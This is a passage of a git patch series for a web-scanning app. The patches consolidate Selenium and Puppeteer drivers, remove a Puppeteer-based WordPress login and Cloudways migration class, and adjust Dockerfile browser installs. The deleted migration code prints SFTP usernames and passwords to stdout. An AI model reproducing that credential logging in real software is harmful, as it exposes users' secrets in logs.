-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                
-                # resizing image to remove duplicate portions
-                img = I.open(image)
-                width, height = img.size
-                left = 0
-                top = height - (height_diff)
-                right = width
-                _bottom = height
-                new_img = img.crop((left, top, right, _bottom))
-                new_img.save(image, quality=100)
-                
-                # adding new image to bottom of existing image (if not index = 0)
-                pic_id_2 = uuid.uuid4()
-                if index != 0 and final_img is not None:
-                    self.add_images(final_img, image).save(f'{pic_id_2}.png')
-                    os.remove(final_img)
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                else:
-                    I.open(image).save(f'{pic_id_2}.png')
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                
-                os.remove(image)
-                index += 1 
-            
-            else:
-                bottom = True
-        
-        # saving image
-        await save_image(pic_id=pic_id, image=final_img)
-
-        # cleaning up
-        await driver.close()
-
-        # returning images
-        return self.image_array
-
-
-
-
-    def test(self, test: object, index: int=None) -> dict:
+    def test_vrt(self, test: object, index: int=None) -> dict:
         """
         Compares each screenshot between the two scans and records 
         a score out of 100%.
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 62fee1bb..487b8be7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -1,6 +1,7 @@
-from .driver_s import driver_init as driver_s_init, quit_driver
-from .driver_s import driver_wait, get_data as get_s_driver_data
-from .driver_p import get_data
+from .driver import (
+    driver_init, quit_driver, 
+    driver_wait , get_data
+)
 from ..models import *
 from .automater import Automater
 from .tester import Tester
@@ -25,7 +26,6 @@ class Scanner():
         'site'    : object,
         'page'    : object,
         'scan'    : object,
-        'configs' : dict,
         'type'    : list
     }
 
@@ -42,14 +42,12 @@ def __init__(
             site: object=None, 
             page: object=None,
             scan: object=None, 
-            configs: dict=settings.CONFIGS,
             type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
         ):
 
         self.site = site
         self.page = page
         self.scan = scan
-        self.configs = configs
         self.type = type
 
         # getting page and site if None
@@ -74,50 +72,31 @@ def build_scan(self) -> object:
         images = None
         lh_data = None
         yl_data = None
-
-        # creating Scan obj if None was passed
-        if self.scan is None:
-            self.scan = Scan.objects.create(site=self.site, page=self.page, type=self.type)
         
         # running scan steps with selenium driver
-        if self.configs['driver'] == 'selenium':
-            driver = driver_s_init(
-                window_size=self.configs['window_size'], 
-                device=self.configs['device']
-            )
-            driver.get(self.page.page_url)
-            s_driver_data = get_s_driver_data(
-                driver=self.driver, 
-                max_wait_time=self.configs['max_wait_time']
-            )
-            if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = s_driver_data['html']
-            if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = s_driver_data['logs']
-            if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Imager(scan=self.scan, configs=self.configs).scan_s(driver=driver)
-            quit_driver(driver)
-        
-        # running scan steps with puppeteer driver
-        if self.configs['driver'] == 'puppeteer':
-            p_driver_data = asyncio.run(
-                get_data(
-                    url=self.page.page_url, 
-                    configs=self.configs
-                )
-            )
-            if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = p_driver_data['html']
-            if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = p_driver_data['logs']
-            if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Imager(scan=self.scan, configs=self.configs).scan_p())
-        
-        # running LH & YL if requested
+        driver = driver_init(
+            browser=self.scan.configs['browser'],
+            window_size=self.scan.configs['window_size'], 
+            device=self.scan.configs['device']
+        )
+        driver.get(self.page.page_url)
+        driver_data = get_data(
+            driver=self.driver, 
+            max_wait_time=self.scan.configs['max_wait_time']
+        )
+        if 'html' in self.scan.type or 'full' in self.scan.type:
+            html = driver_data['html']
+        if 'logs' in self.scan.type or 'full' in self.scan.type:
+            logs = driver_data['logs']
+        if 'vrt' in self.scan.type or 'full' in self.scan.type:
+            images = Imager(scan=self.scan).scan_vrt(driver=driver)
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
-            lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
+            lh_data = Lighthouse(scan=self.scan).get_data() 
         if 'yellowlab' in self.scan.type or 'full' in self.scan.type:
-            yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
+            yl_data = Yellowlab(scan=self.scan).get_data()
+
+        # quiting selenium instance
+        quit_driver(driver)
 
         # updating Scan object
         if html is not None:
@@ -132,7 +111,6 @@ def build_scan(self) -> object:
             self.scan.yellowlab = yl_data
 
         # saving scan data
-        self.scan.configs = self.configs
         self.scan.time_completed = datetime.now()
         self.scan.save()
 
@@ -404,49 +382,39 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
     scan = Scan.objects.get(id=scan_id)
 
     try:
-        # get html and logs if driver is selenium
-        if scan.configs['driver'] == 'selenium':
-            # init driver & get data
-            driver = driver_s_init(
-                window_size=scan.configs['window_size'], 
-                device=scan.configs['device']
-            )
-            driver.get(scan.page.page_url)
-            s_driver_data = get_s_driver_data(
-                driver=driver, 
-                max_wait_time=int(scan.configs['max_wait_time'])
-            )
-            if 'html' in scan.type or 'full' in scan.type:
-                html = s_driver_data['html']
-                scan = Scan.objects.get(id=scan_id)
-                save_html(html, scan)
-            if 'logs' in scan.type or 'full' in scan.type:
-                logs = s_driver_data['logs']
-                scan = Scan.objects.get(id=scan_id)
-                scan.logs = logs
-                scan.save()
-            quit_driver(driver)
+        # get html and logs using selenium
+        # init driver & get data
+        driver = driver_init(
+            browser=scan.configs['browser'],
+            window_size=scan.configs['window_size'], 
+            device=scan.configs['device']
+        )
+        driver.get(scan.page.page_url)
+        driver_data = get_data(
+            driver=driver,
+            browser=scan.configs['browser'],
+            max_wait_time=int(scan.configs['max_wait_time']),
+            min_wait_time=int(scan.configs['min_wait_time']),
+            interval=int(scan.configs['interval'])
+        )
+        if 'html' in scan.type or 'full' in scan.type:
+            html = driver_data['html']
+            scan = Scan.objects.get(id=scan_id)
+            save_html(html, scan)
+        if 'logs' in scan.type or 'full' in scan.type:
+            logs = driver_data['logs']
+            scan = Scan.objects.get(id=scan_id)
+            scan.logs = logs
+            scan.save()
+        quit_driver(driver)
 
-        # get html and logs if driver is puppeteer
-        if scan.configs['driver'] == 'puppeteer':
-            # init driver & get data
-            p_driver_data = asyncio.run(
-                get_data(
-                    url=scan.page.page_url, 
-                    configs=scan.configs
-                )
-            )
-            if 'html' in scan.type or 'full' in scan.type:
-                html = p_driver_data['html']
-                scan = Scan.objects.get(id=scan_id)
-                save_html(html, scan)
-            if 'logs' in scan.type or 'full' in scan.type:
-                logs = p_driver_data['logs']
-                scan = Scan.objects.get(id=scan_id)
-                scan.logs = logs
-                scan.save()
     except Exception as e:
         print(e)
+        # try to quit selenium session
+        try:
+            quit_driver(driver)
+        except:
+            pass
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
@@ -476,14 +444,13 @@ def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     
     try:
         # run Imager using selenium
-        if scan.configs['driver'] == 'selenium':
-            driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Imager(scan=scan, configs=scan.configs).scan_s(driver=driver)
-            quit_driver(driver)
-
-        # run Imager using puppeteer
-        if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Imager(scan=scan, configs=scan.configs).scan_p())
+        driver = driver_init(
+            window_size=scan.configs.get('window_size', '1920,1080'), 
+            device=scan.configs.get('device', 'desktop'),
+            browser=scan.configs.get('browser', 'chrome')
+        )
+        images = Imager(scan=scan).scan_vrt(driver=driver)
+        quit_driver(driver)
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 82b80913..99f28756 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -860,7 +860,7 @@ def run_test(self, index: int=None) -> object:
         if 'vrt' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
-                images_data = Imager().test(test=self.test, index=index)
+                images_data = Imager().test_vrt(test=self.test, index=index)
                 if images_data['average_score'] != None:
                     images_score = images_data['average_score'] / 100
 
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index d3821cbb..a5de7704 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -1,4 +1,4 @@
-from .driver_s import driver_init, driver_wait
+from .driver import driver_init, driver_wait
 from selenium import webdriver
 from selenium.webdriver.support.ui import Select
 from selenium.webdriver.common.keys import Keys
diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py
deleted file mode 100644
index b2a2a68d..00000000
--- a/app/api/utils/wordpress_p.py
+++ /dev/null
@@ -1,570 +0,0 @@
-from .driver_p import driver_init
-import time, asyncio, uuid
-from ..models import * 
-from datetime import datetime
-from asgiref.sync import sync_to_async
-
-
-
-
-
-
-class Wordpress():
-
-
-    def __init__(
-        self, 
-        login_url, 
-        admin_url, 
-        username, 
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password,
-        wait_time, 
-        process_id
-        ):
-        # set all global vars
-        self.login_url = login_url
-        self.username = username
-        self.password = password
-        self.email_address = email_address
-        self.destination_url = destination_url
-        self.sftp_address = sftp_address
-        self.dbname = dbname
-        self.sftp_username = sftp_username
-        self.sftp_password = sftp_password
-        self.process = Process.objects.get(id=process_id)
-        self.native_lang = 'en'
-
-        if not admin_url.endswith('/'):
-            admin_url = admin_url + '/'
-        self.admin_url = admin_url
-
-        if wait_time is None:
-            self.wait_time = 30
-        else:
-            self.wait_time = wait_time
-
-        self.navWaitOpt = {
-            'timeout': self.wait_time * 1000,
-            'waitUntil': 'domcontentloaded'
-        }
-
-
-    async def login(self):
-
-        ''' 
-            Tries to log into a WP site with given credentials.
-
-            returns --> True / False 
-        
-        '''
-
-        print('begining login method for ' + self.login_url)
-
-        
-        self.driver = await driver_init(wait_time=self.wait_time)
-
-        # init page obj 
-        self.page = await self.driver.newPage()
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': self.wait_time * 1000
-        }
-
-        try:
-            await self.page.goto(self.login_url, page_options)
-            try:
-                await self.page.xpath('//*[@id="user_login"]')
-                print('found login form')
-            except:
-                try:
-                    jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]')
-                    await jetpack[0].click()
-                    await self.page.xpath('//*[@id="user_login"]')
-                    print('found login form')
-                except:
-                    try:
-                        login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]")
-                        await login_link[0].click()
-                        await self.page.xpath('//*[@id="user_login"]')
-                        print('found login form')
-                    except:
-                        print('unable to locate login form at this path')
-                        await self.driver.close()
-                        return False
-                    
-    
-        except:
-            print('unable to locate login form at this path')
-            await self.driver.close()
-            return False
-
-        user_name_elem = await self.page.xpath('//*[@id="user_login"]')
-        await user_name_elem[0].click(clickCount=3)
-        await self.page.keyboard.type(self.username)
-        time.sleep(1)
-        passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
-        await passworword_elem[0].click(clickCount=3)
-        await self.page.keyboard.type(self.password)
-        time.sleep(1)
-        await self.page.keyboard.press('Enter')
-        await self.page.waitForNavigation(self.navWaitOpt)
-        
-
-        try:
-            try:
-                verify_email = await self.page.xpath('//*[@id="correct-admin-email"]')
-                print('need to verify email')
-                await verify_email[0].click()
-                print('clicked verify')
-            except:
-                pass
-
-            print('done with login attempt')
-
-            try:
-                await self.page.xpath('//*[@id="login_error"]')
-                print('found login error')
-                await self.page.reload()
-
-                print('trying login again')
-                user_name_elem = await self.page.xpath('//*[@id="user_login"]')
-                await user_name_elem[0].click(clickCount=3)
-                await self.page.keyboard.type(self.username)
-                time.sleep(1)
-                passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
-                await passworword_elem[0].click(clickCount=3)
-                await self.page.keyboard.type(self.password)
-                time.sleep(1)
-                await self.page.keyboard.press('Enter')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-
-                try:
-                    await self.page.xpath('//*[@id="login_error"]')
-                    print('found login error again')
-                    print('counld not login to this site')
-                except:
-                    print('no login errors')
-
-            except:
-                print('no login errors')
-
-        except:
-            print('counld not login to this site')
-            
-            await self.driver.close()
-            return False
-            
-
-        # removing alerts
-        try:
-            deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]')
-            await deny_btn[0].click()
-            print('removed alert')
-        except:
-            pass
-        try:
-            # checking if url location is wp-admin
-            admin_link = '/wp-admin/'
-            current_url = self.page.url
-            print('current url -> ' + current_url)
-            if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url:
-                print('inside wp-admin')
-            else:
-                print('not in wp-admin - navigating there now')
-                admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]')
-                admin_link = await admin_btn[0].querySelector('a')
-                await admin_link[0].click(clickCount=2)
-                print('clicked dashboard link')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-        
-        except:
-            print('could not login')
-            await self.driver.close()
-            return False
-
-        
-        return True
-
-
-
-
-    
-    async def begin_lang_check(self):
-
-        try:
-            # navigate to settings
-            s_url = 'options-general.php'
-            try:
-                settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
-                await settings_menu[0].click()
-                print('clicked settings menu')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
-                await settings[0].click()
-                print('clicked settings tab')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-
-            except:
-                await self.page.goto(self.page.url + s_url)
-                await self.page.waitForNavigation(self.navWaitOpt)
-
-            # finding and recording current native language
-            lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
-            optgroup = await lang_selector[0].querySelector('optgroup')
-            selected_lang = await optgroup.xpath('.//option[@selected="selected"]')
-            default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue()
-            default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue()
-            print("defalut lang value is " + str(default_lang))
-            
-            if default_lang != 'en':
-
-                # selecting english
-                await lang_selector[0].select('en_CA')
-                print('selected english')
-
-                # saving settings
-                save_btn = await self.page.xpath('//*[@id="submit"]')
-                await save_btn[0].click()
-                print('saved lang to english')
-                
-                self.native_lang = default_lang_value
-                return True
-
-            else:
-                self.native_lang = 'en'
-
-
-        except:
-            print('error in changing language')
-            return False
-
-
-
-
-
-
-    async def end_lang_check(self):
-
-        if self.native_lang != 'en':
-
-            try:
-                # navigate to settings
-                s_url = 'options-general.php'
-                try:
-                    settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
-                    await settings_menu[0].click()
-                    print('clicked settings menu')
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                    settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
-                    await settings[0].click()
-                    print('clicked settings tab')
-                    await self.page.waitForNavigation(self.navWaitOpt)
-
-                except:
-                    await self.page.goto(self.page.url + s_url)
-                    await self.page.waitForNavigation(self.navWaitOpt)
-
-                # selecting native lang
-                lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
-                await lang_selector[0].select(self.native_lang)
-                print('selected native_lang')
-
-                # saving settings
-                save_btn = await self.page.xpath('//*[@id="submit"]')
-                await save_btn[0].click()
-                print('saved native lang')
-
-            except:
-                await self.driver.close()
-                return False
-
-        await self.driver.close()
-        return True
-
-
-
-    async def install_plugin(self, plugin_name):
-
-        # setting url for link naving
-        plugin_menu_page = 'plugins.php'
-        add_plugin_page = 'plugin-install.php'
-
-        # navigating to plugin page   
-        try:
-            print('trying click method')
-            plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]')
-            await plugin_menu[0].click()
-            await self.page.waitForNavigation(self.navWaitOpt)
-            p_url = 'plugins.php'
-            plugins = await self.page.xpath('.//a[@href="'+p_url+'"]')
-            await plugins[0].click()
-            print('clicked plugin menu')
-            await self.page.waitForNavigation(self.navWaitOpt)
-            
-            
-            # looking for dependencies in plugin table
-            time.sleep(10)
-            form = await self.page.xpath('//*[@id="bulk-action-form"]')
-            pluginTable = await form[0].querySelector('tbody')
-            tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
-
-        except:
-            print('trying link method for navigation')
-            try:
-                await self.page.goto(self.admin_link + plugin_menu_page)
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-                time.sleep(10)
-                # looking for dependencies in plugin table
-                form = await self.page.xpath('//*[@id="bulk-action-form"]')
-                pluginTable = await form[0].querySelector('tbody')
-                tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
-            except:
-                print('unable to find plugin table')
-                await self.driver.close()
-                return False
-
-        if plugin_name not in tableText:
-            try:
-                print('plugin not present, preparing to install')
-
-                time.sleep(2)
-                print('navigating to add plugins page')
-                
-                try:
-                    url = 'plugin-install.php'
-                    add_plugin = await self.page.xpath('//a[@href="'+url+'"]')
-                    await add_plugin[0].click(clickCount=2)
-                    print('clicked add plugin link')
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                    
-                    time.sleep(5)
-                except:
-                    await self.page.goto(self.admin_url + add_plugin_page)
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                    
-                    time.sleep(5)
-
-                
-                # searching for plugin
-                search_form = await self.page.xpath('//input[@type="search"]')
-                await search_form[0].click(clickCount=3)
-                await self.page.keyboard.type(plugin_name)
-                time.sleep(1)
-                await self.page.keyboard.press('Enter')
-                time.sleep(3)
-
-                ##### Clicking "install" plugin ######
-                install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
-                await install[0].click(clickCount=2)
-                print('clicked -install plugin-')
-                time.sleep(30)
-            
-            
-                #### Clicking "activate" plugin ######
-                await self.page.reload()
-                print('reloading page')
-                try:
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                except:
-                    pass
-                activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
-                await activate[0].click(clickCount=2)
-                print('clicked -Activate plugin-')
-                time.sleep(30)
-                print('Dependencies installed sucessfully')
-                return True
-
-            except:
-                print('failed dependency installation')
-                await self.driver.close()
-                return False
-
-        else:
-            print('plugin already installed')
-            return True
-
-
-    @sync_to_async
-    def update_process(self, successful=False, info_url=None, time_completed=None, progress=None):
-        if info_url is not None:
-            self.process.info_url = info_url
-        self.process.success = successful
-        if time_completed is not None:
-            self.process.time_completed = time_completed
-        if progress is not None:
-            self.process.progress = progress
-        
-        self.process.save()
-        return
-
-
-
-    async def launch_migration(self):
-        ''' 
-            Launches the migration plugin once Activated.
-
-            returns --> True / False 
-        
-        '''
-
-        # setting url for link naving
-        migrate_page = 'admin.php?page=cloudways'
-        current_url = self.page.url
-
-        if not current_url.endswith("cloudways"):
-            print('navigating to migration page')
-            if self.admin_url.endswith('/'):
-                await self.page.goto(f'{self.admin_url}{migrate_page}')
-            else:
-                await self.page.goto(f'{self.admin_url}/{migrate_page}')
-            time.sleep(10)
-
-
-        # wait for cloudways email field to become visible
-        # entering self.email_address in field
-        email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input')
-        await email[0].click(clickCount=3)
-        await self.page.keyboard.type(self.email_address)
-        print('entered cloudways email')
-
-        # checking T&S checbox
-        checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]')
-        await checkbox[0].click(clickCount=1)
-        print('checked T&S agreement')
-
-        # clicking submit to launch migration plugin
-        m_button = await self.page.xpath('//*[@id="migratesubmit"]')
-        await m_button[0].click(clickCount=1)
-        print('clicked migrate button')
-
-        return True
-
-    
-    async def run_migration(self):
-        ''' 
-            Enters data on migration page, initiates miration 
-            and begins updating the associated `Process` with data
-            from the page.
-
-            returns --> True / False 
-        
-        '''
-
-        # check for page to fully load 
-        print('waiting 10 sec for new page to load')
-        time.sleep(10)
-        ## enter all necessary data in each field
-        await self.page.waitForNavigation(self.navWaitOpt)
-
-        # get_element_by_name="address" -> self.destination_url
-        destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]')
-        await destination_url[0].click(clickCount=3)
-        await self.page.keyboard.type(self.destination_url)
-        print(f'dest_url as -> {self.destination_url}')
-        time.sleep(2)
-
-        # get_element_by_name="newurl" -> self.sftp_address 
-        sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]')
-        await sftp_address[0].click(clickCount=3)
-        await self.page.keyboard.type(self.sftp_address)
-        print(f'sftp_address as -> {self.sftp_address}')
-        time.sleep(2)
-
-        # get_element_by_name="appfolder" -> self.dbname
-        dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]')
-        await dbname[0].click(clickCount=3)
-        await self.page.keyboard.type(self.dbname)
-        print(f'dbname as -> {self.dbname}')
-        time.sleep(2)
-
-        # get_element_by_name="username" -> self.sftp_username
-        sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]')
-        await sftp_username[0].click(clickCount=3)
-        await self.page.keyboard.type(self.sftp_username)
-        print(f'sftp_username as -> {self.sftp_username}')
-        time.sleep(2)
-
-        # get_element_by_name="passwd" -> self.sftp_password
-        sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]')
-        await sftp_password[0].click(clickCount=3)
-        await self.page.keyboard.type(self.sftp_password)
-        print(f'sftp_password as -> {self.sftp_password}')
-        time.sleep(2)
-
-        print('entered all creds')
-
-        # submit data
-        await self.page.keyboard.press('Enter')
-        print('pressed enter key')
-
-        
-
-        # update self.process with info_url
-        info_url = self.page.url
-        await self.update_process(info_url=info_url)
-        
-
-        done = False
-        done_text = 'Your migration is complete!'
-        new_progress = 0
-        print(f'current url -> {self.page.url}')
-        while not done:
-            
-            # checking for progres bar
-            try:
-                raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]')
-                new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue()
-                new_progress = float(new_progress.split('%')[0])
-            except Exception as e: 
-                # print(e)
-                pass
-            
-
-            # update self.process
-            await self.update_process(progress=new_progress)
-
-            # check if new_progress is 100%
-            page_content = await self.page.content()
-            if new_progress >= 100 or done_text in page_content:
-                time_completed = datetime.now()
-                await self.update_process(successful=True, time_completed=time_completed, progress=100)
-                done = True
-
-            # checking for process errors
-            if 'alert alert-danger' in page_content:
-                done = True
-                time_completed = datetime.now()
-                await self.update_process(time_completed=time_completed)
-                print('found an error - ending process')
-                return False
-
-            time.sleep(1)
-
-
-        return True
-
-
-
-
-
-
-    async def run_full(self, plugin_name):
-        data = await self.login()
-        data = await self.begin_lang_check()
-        data = await self.install_plugin(plugin_name)
-        # data = await self.end_lang_check()
-        data = await self.launch_migration()
-        data = await self.run_migration()
-        await self.driver.close()
-        return data
-
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e1f35898..dd334e62 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -15,7 +15,6 @@
 from ...utils.imager import Imager as I
 from ...utils.reporter import Reporter as R
 from ...utils.wordpress import Wordpress as W
-from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
 import json, boto3, asyncio, os, requests
@@ -5164,60 +5163,6 @@ def get_celery_metrics(request: object) -> object:
 
 
 
-def create_site_screenshot(request: object) -> object:
-    """
-    Used to grab a single screenshot of the passed `Site`
-
-    Expects: {
-        'request': object
-    }
-
-    Returns -> HTTP Response object
-    """
-
-    # get request data
-    site_id = request.data.get('site_id', None)
-    url = request.data.get('url', None)
-    configs = request.data.get('configs', None)
-
-    # get user
-    user = request.user
-    account = Member.objects.get(user=user).account
-
-    # updating configs if None:
-    configs = account.configs if configs == None else configs
-    
-    # set default
-    site = None
-
-    # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='site', 
-        site_id=site_id
-    )
-    if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
-
-    # get site if checks passsed
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-
-    # get screenshot 
-    if configs['driver'] == 'puppeteer':
-        data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs))
-    elif configs['driver'] == 'selenium':
-        data = I().screenshot(site=site, url=url, configs=configs)
-
-    
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
-    return response
-
-
-
-
 def migrate_site(request: object) -> object:
     """
     Initiate a `Site` migration task in background
@@ -5243,7 +5188,7 @@ def migrate_site(request: object) -> object:
     sftp_username = request.data.get('sftp_username', None)
     sftp_password = request.data.get('sftp_password', None)
     wait_time = request.data.get('wait_time', 30)
-    driver = request.data.get('driver', 'puppeteer')
+    driver = request.data.get('driver', 'selenium')
 
     # checking account and resource 
     check_data = check_account_and_resource(
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index c3801d24..ae8f36da 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -229,7 +229,7 @@
 # Global configs 
 CONFIGS = {
     'window_size': '1920,1080',
-    'driver': 'selenium',
+    'browser': 'chrome',
     'device': 'desktop',
     'mask_ids': None,
     'interval': 1,
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 353f6432..6925432c 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -29,7 +29,7 @@ spec:
               python3 manage.py migrate --no-input &&
               python3 manage.py collectstatic --no-input &&
               python3 manage.py create_admin &&
-              python3 manage.py driver_s_test &&
+              python3 manage.py driver_test &&
               python3 manage.py driver_p_test &&
               python3 manage.py runserver 0.0.0.0:8000
           envFrom:
diff --git a/setup/requirements/requirements-staging.txt b/setup/requirements/requirements-staging.txt
index 79d05b21..45f55aea 100644
--- a/setup/requirements/requirements-staging.txt
+++ b/setup/requirements/requirements-staging.txt
@@ -33,7 +33,6 @@ prometheus-client==0.8.0
 prompt-toolkit==3.0.43
 psycopg2==2.9.9
 pyjwt==2.1.0
-pyppeteer==1.0.2
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 355932a0..46d35ecf 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -33,7 +33,6 @@ prometheus-client==0.8.0
 prompt-toolkit==3.0.18
 psycopg2==2.8.6
 pyjwt==2.1.0
-pyppeteer==1.0.2
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index edcc45b4..976c4877 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -8,8 +8,7 @@ then
   python3 manage.py migrate --no-input &&
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
-  python3 manage.py driver_s_test &&
-  python3 manage.py driver_p_test &&
+  python3 manage.py driver_test &&
   python3 manage.py runserver 0.0.0.0:8000
 fi
 
diff --git a/setup/scripts/remote-entrypoint.sh b/setup/scripts/remote-entrypoint.sh
index 678dbae4..8c18f7ff 100755
--- a/setup/scripts/remote-entrypoint.sh
+++ b/setup/scripts/remote-entrypoint.sh
@@ -7,8 +7,7 @@ then
   python3 manage.py migrate --no-input &&
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
-  python3 manage.py driver_s_test &&
-  python3 manage.py driver_p_test &&
+  python3 manage.py driver_test &&
   gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
 fi
 

From 7d90e3eec502fdfc63557202a48ddee0a8f8c2c3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 15:54:50 -0600
Subject: [PATCH 610/752] testing firefox installation

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 8e895722..03b053a4 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -27,7 +27,7 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig firefox
+    libfontconfig firefox-esr
 
 # installing gekodriver
 RUN curl -fL -o /tmp/geckodriver.tar.gz \

From 70b3f3cad9ae90ce741a36a9ab265a0d30f0645b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 18:45:33 -0600
Subject: [PATCH 611/752] testing new chrome configs for Dockerfile

---
 Dockerfile              | 23 ++++++++++++++---------
 Dockerfile.local        | 12 +-----------
 app/api/utils/driver.py |  1 +
 env/.env.dev.example    |  1 +
 env/.env.prod.example   |  1 +
 env/.env.stage.example  |  1 +
 6 files changed, 19 insertions(+), 20 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 03b053a4..c2b65b30 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,15 +29,20 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig firefox-esr
 
-# installing gekodriver
-RUN curl -fL -o /tmp/geckodriver.tar.gz \
